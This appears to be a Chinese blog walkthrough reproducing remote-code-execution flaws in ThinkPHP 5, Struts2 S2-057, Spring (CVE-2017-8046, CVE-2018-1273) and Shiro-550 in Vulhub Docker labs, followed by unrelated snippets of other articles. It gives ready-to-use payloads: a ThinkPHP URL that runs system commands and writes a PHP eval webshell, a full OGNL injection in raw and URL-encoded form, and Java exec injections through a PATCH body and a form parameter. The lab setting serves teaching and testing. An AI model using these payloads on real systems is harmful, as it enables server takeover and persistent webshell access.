框架漏洞(5-rce s2-057 CVE-2017-8046 CVE-2018-1273 Shiro-550)

embedded/2024/9/24 10:25:29/

5-rce

步骤一:环境部署

cd vulhub/thinkphp/5-rce

docker-compose up -d

步骤二:输入系统命令: whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

步骤三:写入webshell到1.php

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[cmd]);?>' >1.php

进行访问

步骤四:进行蚁剑连接

s2-057

步骤一:环境部署

cd vulhub/struts2/s2-057

docker-compose up -d

靶机地址:/struts2-showcase

步骤二:在url处输入 http://172.16.1.38:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了

步骤三:利用BurpSuite抓包并改包,可以看到,123+123的结果已经在Location头中返回,说明存在漏洞。

原始poc

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

url编码后的poc

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

CVE-2017-8046

步骤一:部署环境

cd vulhub/spring/CVE-2017-8046

docker-compose up -d

步骤二:访问/customers/1 然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: 172.16.1.56:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

步骤三:成功发送数据包之后,可以进入docker容器内查看是否执行命令

docker ps

docker exec -it [CONTAINER ID] /bin/bash

CVE-2018-1273

步骤一:部署环境

cd vulhub/spring/CVE-2018-1273

docker-compose up -d

访问环境:/users

步骤二:提交任意信息,抓包

 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

docker ps

docker exec -it a34a202bc94d /bin/bash

得出zcc

Shiro-550

步骤一:部署环境

cd vulhub/shiro/CVE-2016-4437

docker-compose up -d

步骤二:验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123:,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:

步骤三:利用工具

注入webshell

进行连接


http://www.ppmy.cn/embedded/116050.html

相关文章

HarmonyOS鸿蒙开发实战(5.0)悬浮窗拖拽和吸附动画实践

鸿蒙HarmonyOS NEXT开发实战往期文章必看&#xff08;持续更新......&#xff09; HarmonyOS NEXT应用开发性能实践总结 HarmonyOS NEXT应用开发案例实践总结合集 最新版&#xff01;“非常详细的” 鸿蒙HarmonyOS Next应用开发学习路线&#xff01;&#xff08;从零基础入门…

Redis配置文件详解

1.Units单位 配置大小单位,开头定义了一些基本的度量单位&#xff0c;只支持 bytes&#xff0c;不支持 bit 大小写不敏感 # 1k > 1000 bytes # 1kb > 1024 bytes # 1m > 1000000 bytes # 1mb > 1024*1024 bytes # 1g > 1000000000 bytes # 1gb > 1024*102…

【C++指南】inline内联函数详解

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 目录 引言 C为什么引入了inline来替代C语言中的宏 inline的基本用法 定义inline函数 inline的优势与…

kotlin—— withTimeoutOrNull的介绍和使用场景

withTimeoutOrNull 是 Kotlin 协程库中的一个非常有用的函数&#xff0c;它允许你在指定的时间内执行一个代码块&#xff0c;如果在指定的时间内代码块没有执行完毕&#xff0c;那么它会返回 null&#xff0c;而不是抛出一个异常。这个函数在处理可能需要较长时间完成的操作&am…

在 macOS 上安装 FFmpeg 的详细指南

FFmpeg 是一个强大的多媒体框架&#xff0c;可以用于录制、转换和流式传输音频和视频。无论你是视频编辑工作者&#xff0c;还是想要处理音频文件&#xff0c;FFmpeg 都是一个不可或缺的工具。本文将介绍在 macOS 上安装 FFmpeg 的几种方法。 方法 1: 使用 Homebrew 安装 FFmp…

【uni-app】小兔鲜项目-基础架构-请求和上传文件拦截器

注意事项 uni.request 请求封装 请求和上传文件拦截器 uniapp 拦截器&#xff1a; uni.addInterceptor 接口说明&#xff1a;接口文档 实现需求 拼接基础地址设置超时时间添加请求头标识添加 token 参考代码 // src/utils/http.ts// 请求基地址 const baseURL https://pca…

provide,inject父传子

这个方法传递子参数&#xff0c;可以让所有的子组件获取到&#xff0c;不能子组件传递给父组件 父组件 说下大概思路&#xff0c;导入privode&#xff0c;然后使用privode方法&#xff0c;有点像redis&#xff0c;key value形式存值&#xff0c;子组件可以通过key来获取你要传…

计算机毕业设计之:基于微信小程序的中药材科普系统(源码+文档+讲解)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…